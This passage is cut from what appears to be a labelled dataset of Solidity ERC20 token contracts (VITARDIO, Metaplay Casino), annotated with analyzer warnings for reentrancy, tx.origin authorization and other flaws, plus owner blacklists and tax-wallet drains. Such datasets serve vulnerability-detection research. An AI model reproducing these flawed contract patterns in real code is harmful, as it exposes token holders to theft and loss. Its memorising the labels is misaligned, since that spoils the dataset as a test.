reentrancy-eth | ID: f96f6d5\n IERC20(uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint).max\n );\n\n\t\t// reentrancy-eth | ID: f96f6d5\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10826.sol",
"size_bytes": 22745,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract VITARDIO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a98c2cb): VITARDIO._taxWallet should be immutable \n\t// Recommendation for a98c2cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d67ac9): VITARDIO._initialBuyTax should be constant \n\t// Recommendation for 1d67ac9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba7555a): VITARDIO._initialSellTax should be constant \n\t// Recommendation for ba7555a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0bdc92a): VITARDIO._reduceBuyTaxAt should be constant \n\t// Recommendation for 0bdc92a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea44e46): VITARDIO._reduceSellTaxAt should be constant \n\t// Recommendation for ea44e46: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b97cfa): VITARDIO._preventSwapBefore should be constant \n\t// Recommendation for 3b97cfa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"VITARDIO\"; //\n\n string private constant _symbol = unicode\"$VITARDIO\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8bbf4a1): VITARDIO._taxSwapThreshold should be constant \n\t// Recommendation for 8bbf4a1: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f61bc2): VITARDIO._maxTaxSwap should be constant \n\t// Recommendation for 8f61bc2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xC8AfB5dd96F6a1aaF077aA92df5f6a994CfCcaE2);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0072758): VITARDIO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0072758: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: edb7ac5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for edb7ac5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8320d9f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8320d9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: edb7ac5\n\t\t// reentrancy-benign | ID: 8320d9f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: edb7ac5\n\t\t// reentrancy-benign | ID: 8320d9f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c05a6ac): VITARDIO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c05a6ac: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8320d9f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: edb7ac5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 247453f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 247453f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9ad70e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9ad70e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 247453f\n\t\t\t\t// reentrancy-eth | ID: 9ad70e3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 247453f\n\t\t\t\t\t// reentrancy-eth | ID: 9ad70e3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9ad70e3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9ad70e3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9ad70e3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 247453f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9ad70e3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9ad70e3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 247453f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 247453f\n\t\t// reentrancy-events | ID: edb7ac5\n\t\t// reentrancy-benign | ID: 8320d9f\n\t\t// reentrancy-eth | ID: 9ad70e3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 247453f\n\t\t// reentrancy-events | ID: edb7ac5\n\t\t// reentrancy-eth | ID: 9ad70e3\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2d37f7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2d37f7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 890105d): VITARDIO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 890105d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5a2c493): VITARDIO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5a2c493: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 32bcbf3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 32bcbf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2d37f7e\n\t\t// reentrancy-eth | ID: 32bcbf3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2d37f7e\n\t\t// unused-return | ID: 890105d\n\t\t// reentrancy-eth | ID: 32bcbf3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2d37f7e\n\t\t// unused-return | ID: 5a2c493\n\t\t// reentrancy-eth | ID: 32bcbf3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2d37f7e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 32bcbf3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10827.sol",
"size_bytes": 19912,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MetaPlay is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ed4167c): MetaPlay._taxWallet should be immutable \n\t// Recommendation for ed4167c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93c3464): MetaPlay._initialBuyTax should be constant \n\t// Recommendation for 93c3464: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 296ace6): MetaPlay._initialSellTax should be constant \n\t// Recommendation for 296ace6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: c8a29ff): MetaPlay._finalBuyTax should be constant \n\t// Recommendation for c8a29ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19e7ec6): MetaPlay._finalSellTax should be constant \n\t// Recommendation for 19e7ec6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61f5622): MetaPlay._reduceBuyTaxAt should be constant \n\t// Recommendation for 61f5622: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3525f6c): MetaPlay._reduceSellTaxAt should be constant \n\t// Recommendation for 3525f6c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8dc8091): MetaPlay._preventSwapBefore should be constant \n\t// Recommendation for 8dc8091: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Metaplay Casino\";\n\n string private constant _symbol = unicode\"mCHIPS\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebc8859): MetaPlay._taxSwapThreshold should be constant \n\t// Recommendation for ebc8859: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 326d695): MetaPlay._maxTaxSwap should be constant \n\t// Recommendation for 326d695: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4172366): MetaPlay.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4172366: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f26cc7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f26cc7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7e439da): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7e439da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4f26cc7\n\t\t// reentrancy-benign | ID: 7e439da\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4f26cc7\n\t\t// reentrancy-benign | ID: 7e439da\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 34dc26b): MetaPlay._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 34dc26b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7e439da\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4f26cc7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8f0bb54): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8f0bb54: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: b5874ec): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for b5874ec: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f48c85a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f48c85a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: b5874ec\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8f0bb54\n\t\t\t\t// reentrancy-eth | ID: f48c85a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 8f0bb54\n\t\t\t\t\t// reentrancy-eth | ID: f48c85a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f48c85a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8f0bb54\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f48c85a\n _balances[from] = 